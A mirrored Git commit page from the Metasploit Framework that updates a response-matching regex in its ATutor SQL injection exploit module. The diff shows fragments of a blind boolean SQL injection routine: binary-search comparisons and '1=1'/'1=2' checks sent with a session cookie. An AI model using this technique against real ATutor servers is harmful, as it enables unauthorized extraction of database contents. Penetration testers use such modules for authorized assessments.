infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update the regex for the number of students in ATutor

bug/bundler_fix
net-ninja 2016-03-01 09:41:17 -06:00 committed by wchen-r7
parent 5d64346a63
commit cda4c6b3b3
1 changed files with 4 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
modules/exploits/multi/http/atutor_sqli.rb
View File

@ -243,7 +243,7 @@ class Metasploit3 < Msf::Exploit::Remote
mid = (lower + upper) / 2 mid = (lower + upper) / 2
sqli = "#{sql}>#{mid}" sqli = "#{sql}>#{mid}"
result = perform_request(sqli, cookie) result = perform_request(sqli, cookie)
if result =~ /There are \d entries./ if result =~ /There are \d{0,8} entries\./
lower = mid + 1 lower = mid + 1
else else
upper = mid upper = mid
@ -254,7 +254,7 @@ class Metasploit3 < Msf::Exploit::Remote
else else
sqli = "#{sql}=#{lower}" sqli = "#{sql}=#{lower}"
result = perform_request(sqli, cookie) result = perform_request(sqli, cookie)
if result =~ /There are \d entries./ if result =~ /There are \d{0,8} entries\./
value = lower value = lower
end end
end end
@ -265,12 +265,12 @@ class Metasploit3 < Msf::Exploit::Remote
if do_test if do_test
if do_true if do_true
result = perform_request("1=1", cookie) result = perform_request("1=1", cookie)
if result =~ /There are \d entries./ if result =~ /There are \d{0,8} entries\./
return true return true
end end
else not do_true else not do_true
result = perform_request("1=2", cookie) result = perform_request("1=2", cookie)
if not result =~ /There are \d entries./ if not result =~ /There are \d{0,8} entries\./
return true return true
end end
end end